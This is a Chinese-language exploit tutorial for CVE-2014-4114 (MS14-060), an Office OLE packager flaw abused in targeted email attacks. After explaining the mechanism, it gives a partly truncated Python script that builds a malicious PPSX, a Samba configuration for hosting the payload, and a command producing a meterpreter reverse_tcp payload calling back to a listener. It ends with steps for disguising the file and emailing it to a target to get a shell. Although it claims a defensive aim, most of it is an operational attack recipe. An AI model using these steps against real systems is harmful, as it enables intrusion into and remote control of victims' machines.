漏洞时间

2014年10月底

测试目标

装有office2007,office2013的机器。

漏洞说明

此漏洞目前主要被黑客组织用来进行APT（AdvancedPersistentThreat）攻击，或者称之为“针对特定目标的攻击”。主要针对政府等大型企业，通过发送邮件的方式进行攻击。

CVE-2014-4114 是OLE包管理INF 任意代码执行漏洞，该漏洞影响WinVista，Win7等以上操作系统，通过使用PowerPoint作为攻击载体，该漏洞是出现在MicrosoftWindows和服务器上的OLE包管理器。在OLE打包文件（packer.dll）中能够下载并执行类似的INF外部文件，允许攻击者执行命令。

利用测试意在了解漏洞的危害，以进行更好的防御。

漏洞原理

1.用到分析工具 filealyzer.

2.通过分析工具我们可以看到这个文件嵌入了两个OLE 对象，如下：

OleObject2.bin中的\\192.9.205.102\share\slides.inf, 字符串，是一个webdav路径，下载后发现是一个INF文件。oleObject1.bin是一个GIF文件。

2.当该文件被PPT加载后，它会调用Packager.dll的CPackage::OLE2MPlayerReadFromStream函数将这两个文件从网络上下载下来并保存在临时目录中。

3.然后在函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件。CPackage::DoVerb的关键代码如下：

4.安装INF的过程最后是通过调用C:\Windows\System32\InfDefaultInstall.exe程序来安装的。如下图：

5.Slide.inf的内容如下：

6.整个INF的主要功能是将slide1.gif重命名为slide1.gif.exe，然后添加注册表启动项。

漏洞大概原理就是：

执行PPT–>内置2个OLE对象–>OLE对象包含2个远程webdav地址–>调用packager.dll的函数CPackage::OLE2MPlayerReadFromStream把远程的slide1.gifslides.inf下载下来 —> 函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件–>inf将slide1.gif重命名为slide1.gif.exe。然后添加注册表启动项。

目前已经出现了把恶意代码包含在ppt文件中，但我现在的演示是恶意代码放在了远程共享上。

漏洞演示

vimms14_060.py把下面代码复制到ms14_060.py中。

kali中的python可能没有安装pptx模块。

我们手工安装一下。

apt-get install python-setuptools
easy_install python-pptx

#!/usr/bin/python
import sys, os
import zipfile
import argparse
import subprocess
from shutil import copyfile
from pptx import Presentation

            zout.writestr(item, xml_content) # replace content_types
        else:
            buffer = zin.read(item.filename)
            zout.writestr(item,buffer) # use existing file

    zout.writestr("ppt/embeddings/" + ole1, gif_bin)
    zout.writestr("ppt/embeddings/"+ole2, inf_bin)
    zout.writestr("ppt/drawings/vmlDrawing1.vml", draw_vml)
    zout.close()
    zin.close()

    # convert to ppsx
    os.rename(zippptx_copy, args.filename)
    os.remove(zippptx)

    print ("[*] Exploit PPSX file [%s] created" % (args.filename))
    print ("[i] Place INF and GIF (EXE) payload file (called %s) in an SMB share called 'share'" % (gif))
    print

if __name__ == '__main__':
main()

2.在kali系统搭建smb服务。把下面代码复制到/etc/samba/smb.conf中。

[global]

   security=share
   username map = /etc/samba/smbusers
   display charset = UTF-8
   unix charset = UTF-8
   dos charset = cp936
   workgroup = WORKGROUP
   dns proxy = no
   log file = /var/log/samba/log.%m
   max log size = 1000
   syslog = 0
   panic action = /usr/share/samba/panic-action %d
   server role = standalone server
   passdb backend = tdbsam

obey pam restrictions = yes

unix password sync = yes

passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .

pam password change = yes

map to guest = bad user

; logon path = \\%N\profiles\%U

; logon drive = H:

; logon script = logon.cmd

; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u

; add machine script = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u

; add group script = /usr/sbin/addgroup --force-badname %g

; include = /home/samba/etc/smb.conf.%m

;   idmap uid = 10000-20000
;   idmap gid = 10000-20000
;   template shell = /bin/bash

; usershare max shares = 100

usershare allow guests = yes

[homes]
comment = Home Directories
browseable = no

read only = yes

create mask = 0700

directory mask = 0700

valid users = %S

;[netlogon]
;   comment = Network Logon Service
;   path = /home/samba/netlogon
;   guest ok = yes
;   read only = yes

;[profiles]
;   comment = Users profiles
;   path = /home/samba/profiles
;   guest ok = no
;   browseable = no
;   create mask = 0600
;   directory mask = 0700

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
;   write list = root, @lpadmin
[share]
path = /tmp/share
browseable = yes
guest ok = yes
read only =yes
writable = no

mkdir/tmp/share

/etc/init.d/sambarestart

3.执行下面命令。

python ms14_060.py sploit.pptx 192.9.205.174 -m 7777

产生一个a.ppsx的文件。和一个slide1.gif的木马文件，slides.inf的文件 slide1.gif中的攻击载荷为meterpreter/reverce_tcp木马连接本地IP192.9.205.174:7777端口

生成的aa.ppsx中可以写任何东西，普通PPT文件。

本地监听7777端口。

修改ppsx内容。

修改名称，以邮件或者各种方式发给需要攻击者。

攻击者打开，反弹回shell
